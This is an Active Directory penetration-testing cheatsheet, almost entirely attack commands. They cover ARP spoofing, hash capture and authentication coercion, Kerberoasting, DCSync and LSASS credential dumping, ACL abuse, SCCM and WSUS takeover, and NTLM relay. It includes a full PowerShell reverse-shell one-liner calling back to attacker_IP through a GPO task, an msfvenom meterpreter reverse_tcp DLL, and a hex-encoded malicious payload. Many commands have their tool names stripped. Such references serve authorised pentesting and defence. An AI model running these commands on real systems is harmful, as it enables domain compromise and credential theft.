Active Directory - Python edition

This cheatsheet is built from numerous papers, GitHub repos and GitBook, blogs, HTB boxes and labs, and other resources found on the web or through my experience. This was originally a private page that I made public, so it is possible that I have copy/paste some parts from other places and I forgot to credit or modify. If it the case, you can contact me on my Twitter @BlWasp_.

I will try to put as many links as possible at the end of the page to direct to more complete resources.


Internal audit mindmap

Insane mindmap by @M4yFly.

Find the domain and the DCs

Generally the domain name can be found in /etc/resolv.conf

Then the DNS is generally installed on the DC : nslookup domain.local

Usernames wordlist

Create a wordlist of usernames from list of Surname Name

Code here

python3 users.txt > usernames.txt

Initial Access

What to do when you are plugged on the network without creds.

First, run bettercap with this config file:

# quick recon of the network
net.probe on

# set the ARP poisoning
set arp.spoof.targets <target_IP>
set arp.spoof.internal true
set arp.spoof.fullduplex true

# control logging and verbosity
events.ignore endpoint
events.ignore net.sniff.mdns

# start the modules
arp.spoof on
net.sniff on
sudo ./bettercap --iface <interface> --caplet spoof.cap

Then sniff with Wireshark. When it is finish, save the trace in a .pcap file and extract the secrets:

python3 ./Pcredz -f extract.pcap


AD oriented

If the target is not patched, this CVE can be exploited without creds.

./ -pipe all <attacker_IP> <target_IP>

To exploit these vulnerabilities you need to already control a computer account or have the right to create a new one.

#Get ST
python3 domain.local/user1:'password' -dc-ip <DC_IP>

#Auto dump the hash
python3 domain.local/user1:'password' -dc-ip <DC_IP> --impersonate administrator -dump -just-dc-user domain/krbtgt
#Load a DLL hosted on a SMB server on the attacker machine
./ -dll '\\<attacker_IP>\smb\add_user.dll' 'user1:password@<target_IP>'

#Load a DLL hosted on the target, and specify a custom driver name
./ -dll 'C:\Windows\System32\spool\drivers\x64\3\old\1\add_user.dll' -name 'Patapouf' 'user1:password@<target_IP>'

The relay technique is preferable to the other one which is more risky and potentially destructive. See in the link.

The exploits in the Metasploit framework are good for these two CVEs.

msf6 exploit(windows/smb/ms17_010_psexec) >

#Blue Keep
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) >

Be careful, this exploit is pretty unstable and the risk of BSOD is really important. The exploit in the Metasploit framework is good for this CVE.

msf6 exploit(windows/smb/cve_2020_0796_smbghost) >

To exploit this CVE the RC4-MD4 encryption must be enabled on the KDC, and an AS-REP Roastable account is needed to obtain an ST for the target.

./ -dc-ip <DC_IP> domain.local/<as-rep_roastable_user> <target_NETBIOS>
# Fetch current user object
$user = get-aduser <victim username> -properties @('msPKIDPAPIMasterKeys','msPKIAccountCredentials', 'msPKI-CredentialRoamingTokens','msPKIRoamingTimestamp')

# Install malicious Roaming Token (spawns calc.exe)
$malicious_hex = "25335c2e2e5c2e2e5c57696e646f77735c5374617274204d656e755c50726f6772616d735c537461727475705c6d616c6963696f75732e6261740000000000000000000000000000000000000000000000000000000000000000000000000000f0a1f04c9c1ad80100000000f52f696ec0f1d3b13e9d9d553adbb491ca6cc7a319000000406563686f206f66660d0a73746172742063616c632e657865"
$attribute_string = "B:$($malicious_hex.Length):${malicious_hex}:$($user.DistinguishedName)"
Set-ADUser -Identity $user -Add @{msPKIAccountCredentials=$attribute_string} -Verbose

# Set new msPKIRoamingTimestamp so the victim machine knows an update was pushed
$new_msPKIRoamingTimestamp = ($user.msPKIRoamingTimestamp[8..15] + [System.BitConverter]::GetBytes([datetime]::UtcNow.ToFileTime())) -as [byte[]]
Set-ADUser -Identity $user -Replace @{msPKIRoamingTimestamp=$new_msPKIRoamingTimestamp} -Verbose

To exploit this CVE, a controlled service account with constrained delegation to the target account is needed. -force-forwardable -spn <cifs/target.domain.local> -impersonate Administrator -dc-ip <DC_IP> -hashes :<service_account_hash> domain.local/<service_account> 'domain.local'/'user1':'password'@<DC_IP>

Targeting Exchange server

The exploits in the Metasploit framework are good for these three CVEs.

msf6 exploit(windows/http/exchange_proxynotshell_rce) >
msf6 exploit(windows/http/exchange_proxyshell_rce) >
msf6 exploit(windows/http/exchange_proxylogon_rce) >

This CVE permits to leak the NTLM hash of the target as soon as the email arrives in his Outlook mail box. This PoC generates a .msg file containing the exploit in the pop-up sound attribute. It is up to you to send the email to the target.

python3 --path '\\<attacker_IP>\'

Before sending the email, run Responder to intercept the NTLM hash.

For local privesc

Look at the Active Directory cheatsheet for this part.

Domain Enumeration

Domain policy

Current domain

#Domain policy with ldeep
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> domain_policy

#Password policy with CME
crackmapexec smb <targets> -u user1 -p password --pass-pol

Another domain

ldeep ldap -u user1 -p password -d domain.local -s <remote_LDAP_server_IP> domain_policy

Domain controller

The DNS is generally on the DC.

nslookup domain.local
crackmapexec smb <DC_IP> -u user1 -p password

Users enumeration

List users

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> users

User's properties

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> users -v

Search for a particular string in attributes

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> users -v |grep -i password

Actively logged users on a machine

Needs local admin rights on the target

crackmapexec smb <target> -u user1 -p password --sessions

User hunting

Find machine where the user has admin privs

If a Pwned connection appears, admin rights are present. However, if the UAC is present it can block the detection.

crackmapexec smb <targets_file> -u user1 -p password

Find local admins on a domain machine

python3 domain.local/user1:password@<target_IP>

crackmapexec smb <targets> -u user1 -p password --local-groups Administrators

Computers enumeration

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> machines

#Full info
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> machines -v

#Hostname enumeration
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> computers
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> computers --resolve

Groups enumeration

Groups in the current domain

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> groups

#Full info
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> groups -v

Search for a particular string in attributes

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> groups -v |grep -i admin

All users in a specific group

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> membersof <group> -v

All groups of an user

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> memberships <user_account>

Local groups enumeration

crackmapexec smb <target> -u user1 -p password --local-groups

Members of a local group

crackmapexec smb <target> -u user1 -p password --local-groups <group>

Shares / Files

Find shares on the domain

crackmapexec smb <targets> -u user1 -p password --shares

Find files with a specific pattern

crackmapexec smb <targets> -u user1 -p password --spider <share_name> --content --pattern pass

GPO enumeration

List of GPO in the domain

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> gpo

Organisation Units

OUs of the domain and their linked GPOs

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> ou

Computers within an OU

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> machines -v |grep -i "OU=<OU_name>" |grep -i "distinguishedName"


All ACLs associated to an object (inbound)

#With samAccountName -action read -target <target_samAccountName> -dc-ip <DC_IP> domain.local/user1:password

#With DN -action read -target-dn <target_DN> -dc-ip <DC_IP> domain.local/user1:password

#With SID -action read -target-sid <target_SID> -dc-ip <DC_IP> domain.local/user1:password

Outbound ACLs of an object

These are the rights a principal has against another object -action read -target <target_samAccountName> -principal <principal_samAccountName> <-dc-ip <DC_IP> domain.local/user1:password


Trusts for the current domain

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> trusts


The Bloodhound-python module doesn't support all the SharpHound features (essentially about GPOs)

DNS resolution

Sometimes the DNS resolution to find the DC doesn't work very well. dnschef can solve this problem:

dnschef --fakeip <DC_IP> --fakedomains domain.local -q

Then, in the BloodHound command specify the DNS address with -ns, dnschef will do the work.

Basic usage

# Default collection
bloodhound-python -u user1 -p password -d domain.local -dc DC.domain.local --zip

# All collection excepted LoggedOn
bloodhound-python -u user1 -p password -d domain.local -c all -dc DC.domain.local --zip
#With LoggedOn
bloodhound-python -u user1 -p password -d domain.local -c all,LoggedOn -dc DC.domain.local --zip

#Only collect from the DC, doesn't query the computers (more stealthy)
bloodhound-python -u user1 -p password -d domain.local -c DCOnly -dc DC.domain.local --zip

Specify another Global Catalog

bloodhound-python -u user1 -p password -d domain.local -dc DC.domain.local -gc <hostname> --zip

Interesting Neo4j queries

Users with SPNs

MATCH (u:User {hasspn:true}) RETURN u

AS-REP Roastable users

MATCH (u:User {dontrepreauth:true}) RETURN u

Computers AllowedToDelegate to other computers

MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]->(t)) return p

Shortest path from Kerberoastable user

MATCH (u:User {hasspn:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p

Computers in Unconstrained Delegations

MATCH (c:Computer {unconsraineddelegation:true}) RETURN c

Rights against GPOs

MATCH (gr:Group), (gp:GPO), p=((gr)-[:GenericWrite]->(gp)) return p

Potential SQL Admins

MATCH p=(u:User)-[:SQLAdmin]->(c:Computer) return p


Machine with LAPS enabled

MATCH (c:Computer {haslaps:true}) RETURN c 

Users with read LAPS rights against "LAPS machines"

MATCH p=(g:Group)-[:ReaLAPSPassword]->(c:Computer) return p

Lateral Movement


evil-winrm -u user1 -p password -i <target_IP>

evil-winrm permits to open an interactive WinRM session where it is possible to upload and download items between the target and the attacker machine, load PowerShell scripts, etc.


From one computer to another one domain.local/user1:password@<target>

From one computer to many ones

crackmapexec smb <targets> -u user1 -p password -X <command>

Execute immediat scheduled task domain.local/user1:password@<target> <command>

WMI domain.local/user1:password@<target>

ShellBrowserWindow DCOM object domain.local/user1:password@<target>

Credentials gathering

Check RunAsPPL

Check if RunAsPPL is enabled in the registry.

crackmapexec smb <target> -u user1 -p password -M runasppl

Dump creds remotely

#Dump SAM database on a machine
crackmapexec smb <target> -u user1 -p password --sam

#Dump LSA secrets on a machine
crackmapexec smb <target> -u user1 -p password --lsa

#Dump through remote registry -o \\<attacker_IP>\share domain.local/user1:password@<target> backup domain.local/user1:password@<target> query -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' 

#Dump the lsass process and parse it
crackmapexec smb <target> -u user1 -p password -M lsassy
crackmapexec smb <target> -u user1 -p password -M nanodump
crackmapexec smb <target> -u user1 -p password -M mimikatz
crackmapexec smb <target> -u user1 -p password -M procdump

lsassy -u user1 -p password -d domain.local <target>

#Retrieve Chrome passwords
crackmapexec smb <target> -u user1 -p password -M enum_chrome

#Make a DCSync attack on all the users (NT hashes, Kerberos AES key, etc) domain.local/user1:password@<DC>
crackmapexec smb <target> -u user1 -p password --ntds

#DCSync only the NT && LM hashes of a user -just-dc-user 'krbtgt' -just-dc-ntlm domain.local/user1:password@<DC>

#Retrieve NT hashes via Key List Attack on a RODC
    #Attempt to dump all the users' hashes even the ones in the Denied list
    #Low privileged credentials are needed in the command for the SAMR enumeration -rodcNo <krbtgt_number> -rodcKey <krbtgt_aes_key> -full domain.local/user1:password@RODC-server
    #Attempt to dump a specific user's hash -rodcNo <krbtgt_number> -rodcKey <krbtgt_aes_key> -t user1 -kdc RODC-server.domain.local LIST

Extract creds locally

The SYSTEM hive is needed to retrieve the bootkey and decipher the DB files.

#Extract creds from SAM and SECURITY (LSA cached secrets) -system ./ -sam ./ -security ./ LOCAL

#Extract creds from NTDS.dit -system ./ -ntds ./ LOCAL

Credentials Vault & DPAPI

Decipher Vault with Master Key vault -vcrd <vault_file> -vpol <vault_policy_file> -key <master_key>

Dump all secrets on a remote machine domain.local/user1:password@<target>

Extract the domain backup key with a Domain Admin backupkeys --export -t domain.local/user1:password@<DC_IP>

Dump all user secrets with the backup key -pvk domain_backupkey.pvk domain.local/user1:password@<targets>

GPPPassword & GPP Autologin

Find and decrypt Group Policy Preferences passwords. domain.local/user1:password@<target>
    #Specific share -share <share> domain.local/user1:password@<target>

#GPP autologin
crackmapexec smb <target> -u user1 -p password -M gpp_autologin

Token manipulation

Token impersonation with command execution and user addition

Blog here.

crackmapexec smb -u user1 -p password -M impersonate -o MODULE=list
 crackmapexec smb -u user1 -p password -M impersonate -o MODULE=adduser TOKEN=<token_id> CMD="user2 password 'Domain Admins' \\dc.domain.local"
 crackmapexec smb -u user1 -p password -M impersonate -o MODULE=exec TOKEN=<token_id> CMD=<command>

Tokens and ADCS

With administrative access to a (or multiple) computer, it is possible to retrieve the different process tokens, impersonate them and request CSRs and PEM certificate for the impersonated users.

masky -d domain.local -u user1 -p <password> -dc-ip <DC_IP> -ca <CA_server_FQDN\CA_name> -o <result_folder> <targets>

Pass The Hash

Globally, all the Impacket tools and the ones that use the library can authenticate via Pass The Hash with the -hashes command line parameter instead of specifying the password. For ldeep, CrackMapExec and evil-winrm, it's -H.

Over Pass The Hash / Pass The Key

Globally, all the Impacket tools and the ones that use the library can authenticate via Pass The Key with the -aesKey command line parameter instead of specifying the password. For CrackMapExec it's --aesKey.

Kerberos authentication

Request a TGT or a ST -dc-ip <DC_IP> domain.local/user1:password -spn "cifs/target.domain.local" -dc-ip <DC_IP> domain.local/user1:password

Use the tickets

Load a kerberos ticket in .ccache format : export KRB5CCNAME=./ticket.ccache

Globally, all the Impacket tools and the ones that use the library can authenticate via Kerberos with the -k -no-pass command line parameter instead of specifying the password. For ldeep it's -k.

For CrackMapExec it is -k with credentials to perform the whole Kerberos process and authenticate with the ticket. If a .ccache ticket is already in memory, it is -k --use-kcache.

For evil-winrm it's -r <domain> --spn <SPN_prefix> (default 'HTTP'). The realm must be specified in the file /etc/krb5.conf using this format -> CONTOSO.COM = { kdc = }

If the Kerberos ticket is in .kirbi format it can be converted like this: ticket.kirbi ticket.ccache

ADIDNS poisoning

How to deal with the Active Directory Integrated DNS and redirect the NTLM authentications to us

If the wilcard record (*) doesn't exist, we can create it and all the authentications will arrive on our listener, except if the WPAD configuration specifically blocks it.

Wildcard attack

The char * can't be added via DNS protocol because it will break the request. Since we are in an AD we can modify the DNS via LDAP:

# Check if the '*' record exist
python3 -u "domain.local\user1" -p "password" -a query -r "*" <DNS_IP>

# creates a wildcard record
python3 -u "domain.local\user1" -p "password" -a add -r "*" -d <attacker_IP> <DNS_IP>

# disable a node
python3 -u "domain.local\user1" -p "password" -a remove -r "*" <DNS_IP>

# remove a node
python3 -u "domain.local\user1" -p "password" -a ldapdelete -r "*" <DNS_IP>

Feature abuse


Most of the SCCM attacks must be performed from a Windows machine with SharpSCCM.exe. I recommend you to read the Active Directory cheatsheet.


To retrieve the PXE boot media:

python3 explore -i eth0
SCCM credentials extraction with DPAPI

It is possible to retrieve the Network Access Accounts (NAA) in the NAA policy which it's sent by the SCCM server and stored on the SCCM client disk encrypted with DPAPI. With SYSTEM access on the client, the credentials can be retrieved: -creds -sccm 'domain.local/user1:password'@'target.domain.local'
Network Access Account de-obfuscation

A computer account has the ability to register itself with the SCCM server and request the encrypted NAA policies, decrypt them, de-obfuscate them and retrieve the NAA's credentials in them. A controlled computer account is needed to send the authenticated request, but the account to spoof doesn't need to be the same. Full explains here. WARNING : the author does not recommanded to use the tool in prod. "fakepc" "fakepc.domain.local" '<SCCM_server>' 'domain\ControlledComputer$' 'Password123!'

Then decrypt the retrieved hexadecimal blobs:

.\policysecretunobfuscate.exe <blob_hex_1>
.\policysecretunobfuscate.exe <blob_hex_2>
SCCM primary site takeover

The primary site server's computer account is member of the local Administrators group on the site database server and on every site server hosting the "SMS Provider" role in the hierarchy. This means it is possible to coerce the primary site server authentication and relay it to the database server and obtain an administrative access. Some requirements must be reached to exploit this scenario. Full explains here.

# Retrieve the controlled user SID
rpcclient -c "lookupnames USER" $TARGET_IP
    # And convert it in HEX format
from impacket.ldap import ldaptypes
print('0x' + ''.join('{:02X}'.format(b) for b in sid.getData()))

# Setup a NTLM relay server to MSSQL or SMB
    # targetting MS-SQL -t "mssql://siteDatabase.domain.local" -smb2support -socks
    # targeting SMB -t "smb://siteDatabase.domain.local" -smb2support -socks

# Coerce the primary site server authentication via PetitPotam, PrinterBug ou whatever

With a MSSQL socks open, the following SQL query can be executed to grant full privileges to the controlled user on the SCCM primary site:

proxychains "DOMAIN/SCCM-Server$"@"siteDatabase.domain.local" -windows-auth
--Switch to site database
use CM_<site_code>

--Add the SID, the name of the current user, and the site code to the RBAC_Admins table
INSERT INTO RBAC_Admins (AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite) VALUES (<SID_in_hex_format>,'DOMAIN\user',0,0,'','','','','<site_code>');

--Retrieve the AdminID of the added user
SELECT AdminID,LogonName FROM RBAC_Admins;

--Add records to the RBAC_ExtendedPermissions table granting the AdminID the Full Administrator (SMS0001R) RoleID for the “All Objects” scope (SMS00ALL), 
--the “All Systems” scope (SMS00001), 
--and the “All Users and User Groups” scope (SMS00004)
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00ALL','29');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00001','1');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00004','1');

Post exploitation via SCCM can now be performed on the network.


Spoof the WSUS server and hijack the update if the updates are pushed through HTTP and not HTTPS

#Find the WSUS server with the REG key -dc-ip <DC_IP> 'domain.local'/'user1':'password'@server.domain.local query -keyName 'HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver'

#Setup the fake WSUS server
python3.exe --host <network_interface> --port 8530 --executable ./PsExec64.exe --command '/accepteula /s cmd.exe /c "net user usser1 Password123! /add && net localgroup Administrators user1 /add"'

And ARP spoofing with bettercap and a wsus_spoofing.cap like this:

# quick recon of the network
net.probe on

# set the ARP spoofing
set arp.spoof.targets $client_ip
set arp.spoof.internal false
set arp.spoof.fullduplex false

# reroute traffic aimed at the WSUS server
set any.proxy.iface $interface
set any.proxy.protocol TCP
set any.proxy.src_address $WSUS_server_ip
set any.proxy.src_port 8530
set any.proxy.dst_address $attacker_ip
set any.proxy.dst_port 8530

# control logging and verbosity
events.ignore endpoint
events.ignore net.sniff

# start the modules
any.proxy on
arp.spoof on
net.sniff on
bettercap --iface <network_interface> --caplet wsus_spoofing.cap

Now wait for update verification or manually trigger with a GUI access on the machine

Pre-Windows 2000 Computers

Everything is explained here.

Domain Privesc


The Kerberos service ticket (ST) has a server portion which is encrypted with the password hash of service account. This makes it possible to request a ticket and do offline password attack. Password hashes of service accounts could be used to create Silver Tickets.

Find user with SPN -dc-ip <DC_IP> domain.local/user1:password

#In another domain through trust -dc-ip <DC_IP> -target-domain <target_domain> domain.local/user1:password

Request in JtR/Hashcat format -dc-ip <DC_IP> -request -outputfile hash.txt domain.local/user1:password

Force RC4 downgrade even on AES enabled targets to obtain tickets more easy to crack:

pypykatz kerberos spnroast -d domain.local -t <target_user> -e 23 'kerberos+password://domain.local\user1:password@<DC_IP>'

Crack the hash

john hash.txt --wordlist=./rockyou.txt

Kerberoast w/o creds

Without pre-authentication

If a principal can authent without pre-authentication (like AS-REP Roasting), it is possible to use it to launch an AS-REQ request (for a TGT) and trick the request to ask for a ST instead for a kerberoastable principal, by modifying the sname attribut in the req-body part of the request. Full explains here.

This PR must be used for the moment. -no-preauth <user_w/o_preauth> -usersfile "users.txt" -dc-host <DC_IP> "domain.local"/

With MitM

If no principal without pre-authentication are present, it is still possible to intercept the AS-REQ requests on the wire (with ARP spoofing for example), and replay them to kerberoast.

ritm -i <attacker_IP> -t <target_IP> -g <gateway_to_spoof> -u users.txt

AS-REP Roasting

Enumerate users -dc-ip <DC_IP> domain.local/user1:password

Request AS-REP -dc-ip <DC_IP> -request -format john domain.local/user1:password

Crack the hash

With john or hashcat it could be performed

DACLs attacks

ACLs packages

On any objects


With this rights on a user it is possible to become the "owner" (Grant Ownership) of the account and then change our ACLs against it -new-owner user1 -target user2 -dc-ip <DC_IP> -action write 'domain.local'/'user1':'password' -action write -target user2 -principal user1 -rights ResetPassword -ace-type allowed -dc-ip <DC_IP> 'domain.local'/'user1':'password'

#And change the password
net rpc password user2 -U 'domain.local'/'user1'%'password' -S DC.domain.local

With this rights we can modify our ACLs against the target, and give us GenericAll for example -action write -target user2 -principal user1 -rights FullControl -ace-type allowed -dc-ip <DC_IP> 'domain.local'/'user1':'password'

In case where you have the right against a container or an OU, it is possible to setup the Inheritance flag in the ACE. The child objects will inherite the parent container/OU ACE (except if the object has AdminCount=1) -inheritance -action write -target 'CN=Users,DC=domain,DC=local' -principal user1 -rights FullControl -ace-type allowed -dc-ip <DC_IP> 'domain.local'/'user1':'password'

On an user

WriteProperty -t user2 -a add -u user1 -p password -d domain.local -dc-ip <DC_IP> --filename user2

We can then request a TGS without special privileges. The TGS can then be "Kerberoasted". -request-user user2 -dc-ip <DC_IP> domain.local/user1:password

New SPN must be unique in the domain

#Set SPN on all the possible users, request the ticket and delete the SPN -u user1 -p password -d domain.local --only-abuse

With enough permissions on a user, we can change his password

net rpc password user2 -U 'domain.local'/'user1'%'password' -S DC.domain.local

On a computer

WriteProperty -t computer$ -a add -u user1 -p password -d domain.local -dc-ip <DC_IP> --filename user2
crackmapexec ldap <DC_IP> -u user1 -p password -M laps -o computer="<target>"
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> gmsa



Change the managedBy attribute value and add a controlled user. He will automatically gain admin rights.

It is possible to modify the msDS-NeverRevealGroup and msDS-RevealOnDemandGroup lists on the RODC to allow Tiers 0 accounts to authenticate, and then forge RODC Golden Tickets for them to access other parts of the AD.

powerview domain.local/user1:Password123@RODC-server.domain.local

#First, add a domain admin account to the msDS-RevealOnDemandGroup attribute
#Then, append the Allowed RODC Password Replication Group group
PV > Set-DomainObject -Identity RODC-server$ -Set msDS-RevealOnDemandGroup='CN=Administrator,CN=Users,DC=domain,DC=local'
PV > Set-DomainObject -Identity RODC-server$ -Append msDS-RevealOnDemandGroup='CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local'

#If needed, remove the admin from the msDS-NeverRevealGroup attribute
PV > Set-DomainObject -Identity RODC-server$ -Clear msDS-NeverRevealGroup

WriteProperty on the msDS-NeverRevealGroup and msDS-RevealOnDemandGroup lists is sufficient to modify them. Obtain the krbtgt_XXXXX key is still needed to forge RODC Golden Ticket.

powerview domain.local/user1:Password123@RODC-server.domain.local

#First, add a domain admin account to the msDS-RevealOnDemandGroup attribute
#Then, append the Allowed RODC Password Replication Group group
PV > Set-DomainObject -Identity RODC-server$ -Set msDS-RevealOnDemandGroup='CN=Administrator,CN=Users,DC=domain,DC=local'
PV > Set-DomainObject -Identity RODC-server$ -Append msDS-RevealOnDemandGroup='CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local'

#If needed, remove the admin from the msDS-NeverRevealGroup attribute
PV > Set-DomainObject -Identity RODC-server$ -Clear msDS-NeverRevealGroup

On a group

WriteProperty/AllExtendedRights/GenericWrite Self

With one of this rights we can add a new member to the group

net rpc group addmem <group> user2 -U domain.local/user1%password -S <DC_IP>


WriteProperty on a GPO
./ domain.local/user1 -hashes lm:nt -gpo-id "<GPO_ID>" -powershell -command "\$client = New-Object System.Net.Sockets.TCPClient('attacker_IP',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" -taskname "The task" -description "Important task" -user
./ domain.local/user1 -hashes lm:nt -gpo-id "<GPO_ID>"

On the domain/forest

DS-Replication-Get-Changes + DS-Replication-Get-Changes-All

We can DCSync

Account Operators

The members of this group can add and modify all the non admin users and groups. Since LAPS ADM and LAPS READ are considered as non admin groups, it's possible to add an user to them, and read the LAPS admin password. They also can manage the Server Operators group members which can authenticate on the DC.

Add user to LAPS groups

net rpc group addmem 'LAPS ADM' user2 -U domain.local/user1%password -S <DC_IP>
net rpc group addmem 'LAPS READ' user2 -U domain.local/user1%password -S <DC_IP>

Read LAPS password

crackmapexec ldap <DC_IP> -u user2 -p password -M laps -o computer="<target>"


#Generate the DLL
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker_IP> LPORT=1234 -f dll > rev.dll

#On the DNS machine, modify the server conf
crackmapexec smb <target> -u user1 -p password -X "dnscmd.exe /config /serverlevelplugindll \\<share_SMB>\rev.dll"

#### Restart DNS 'domain.local'/'user1':'password'@<DNS_server> stop dns 'domain.local'/'user1':'password'@<DNS_server> start dns

Backup Operators

Can normally log in on any machines of the domain.

File system backup

Can backup the entire file system of a machine (DC included) and have full read/write rights on the backup.

To backup a folder content:

crackmapexec smb <target> -u user1 -p password -X "robocopy /B C:\Users\Administrator\Desktop\ C:\tmp\tmp.txt /E"

To backup with Diskshadow + Robocopy:

set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
expose %cdrive% E:X
end backupX

Registry read rights

The Backup Operators can read all the machines registry -dc-ip <DC_IP> 'domain.local'/'backup$':'Password123'@server.domain.local query -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon'

#Backup the SAM, SECURITY and SYSTEM registry keys -dc-ip <DC_IP> 'domain.local'/'backup$':'Password123'@server.domain.local backup -o \\<attacker_IP>\share

GPOs read/write rights

Normally the Backup Operators can read and rights all the domain and DC GPOs with robocopy in backup mode

crackmapexec smb <target> -u user1 -p password -X 'robocopy "C:\tmp" "\\dc.domain.local\SYSVOL\domain.local\Policies\{GPO_ID}\MACHINE\Microsoft\Windows NT\SecEdit" GptTmpl.inf /ZB'

Key Admins

Members of this group can perform Shadow Credentials attacks against any objects, including the domain controllers.

Authentication capture, coerce and relay

Capture, coerce and leak

Different ways to obtain and catch NTLM authentications and retrieve a NTLM response.


Change the authentication challenge to 1122334455667788 in the Responder conf file in order to obtain an easily crackable hash if NTLMv1 is used.

sed -i 's/ Random/ 1122334455667788/g' Responder/Responder.conf

Catch all the possible hashes on the network (coming via LLMNR, NBT-NS, DNS spoofing, etc):

# Responder with WPAD injection, Proxy-Auth, DHCP, DHCP-DNS and verbose
responder -I interface_to_use -wPdDv

Force NTLM downgrade to NTLMv1 (will break the authentications if v1 is disabled on the machine):

# --disable-ess will disable the SSP, not always usefull
responder -I interface_to_use -wdDv --lm --disable-ess

NTLMv1 response can be cracked on

Leak Files

With write rights on a SMB share, it is possible to drop a .lnk or .scf file to grab some user hashes:

crackmapexec smb <target> -u user1 -p password -M slinky -o SERVER=<attacker_SMB_share_IP> -o NAME=<file_name>
crackmapexec smb <target> -u user1 -p password -M scuffy -o SERVER=<attacker_SMB_share_IP> -o NAME=<file_name>
#To clean
crackmapexec smb <target> -u user1 -p password -M slinky -o CLEANUP=True
crackmapexec smb <target> -u user1 -p password -M scuffy -o CLEANUP=True


Spoof DHCPv6 responses to provide evil DNS config. Usefull to combine with NTLM or Kerberos Relay attacks. Here for an NTLM relay:

mitm6 -i interface_to_use -d domain.local -hw target.domain.local -v

Here for a Kerberos relay to ADCS:

mitm6 -i interface_to_use -d domain.local -hw target.domain.local --relay CA.domain.local -v

PetitPotam / PrinterBug / ShadowCoerce / DFSCoerce / CheeseOunce

Exploits to coerce Net-NTLM authentication from a computer. PetitPotam can be used without any credentials if no patch has been installed.

./ -u user1 -p password -d domain.local -pipe all <attacker_IP> <target_IP>

./ -u user1 -p password -d domain.local <attacker_IP> <target_IP>

./ -u user1 -p password -d domain.local <attacker_IP> <target_IP>

./ -u user1 -d domain.local <listener_IP> <target_IP>

#CheeseOunce via MS-EVEN
./ domain.local/user1:password@<target> <listener_IP>

Multi coerce

Try all the techniques above in one command with this. coerce -u user1 -p password -d domain.local -t <target_IP> -l <attacker_IP> -v


Coerce Exchange server authentication via PushSubscription (now patched):

python3 -ah <attacker_IP> <Exchange_server> -u user1 -p password -d domain.local

MSSQL Server

With xp_dirtree.

WebClient Service

If this service runs on the target machine, a SMB authentication can be switched into an HTTP authentication (really useful for NTLM relay).

Check if WebClient is running on machines:

webclientservicescanner domain.local/user1:password@<IP_range>

If yes, coerce the authentication to the port 80 on the attacker IP. To bypass trust zone restriction, the attacker machine must be specified with a valid NETBIOS name and not its IP. the FQDN can be obtained with Responder in Analyze mode.

responder -I interface_to_use -A

#Coerce with PetitPotam for example
./ -u user1 -p password -d domain.local -pipe all "attacker_NETBIOS@80/test.txt" <target_IP>

NTLM and Kerberos relay

SMB without signing

Create a list of computer without SMB signing:

crackmapexec smb <IP_range> --gen-relay-list list.txt


If only SMBv2 is supported, -smb2support can be used. To attempt the remove the MIC if NTLMv2 is vulnerable to CVE-2019-1040, --remove-mic can be used.

Multiple targets can be specified with -tf list.txt.

#With attempt to dump possible GMSA and LAPS passwords, and ADCS templates -t ldap://dc --dump-adcs --dump-laps --dump-gmsa --no-da --no-acl -t smb://target -socks -t mssql://target -socks -t smb://target -t dcsync://dc

Add an user to Enterprise Admins. -t ldap://dc --escalate-user user1 --no-dump
#Create a new computer account through LDAPS -t ldaps://dc_IP --add-computer --no-dump --no-da --no-acl

#Create a new computer account through LDAP with StartTLS -t ldap://dc_IP --add-computer --no-dump --no-da --no-acl

#Create a new computer account through SMB through the SAMR named pipe ( -t smb://dc_IP --smb-add-computer EVILPC

Kerberos RBCD are detailled in the following section.

#Create a new computer account through LDAPS and enabled RBCD -t ldaps://dc_IP --add-computer --delegate-access --no-dump --no-da --no-acl

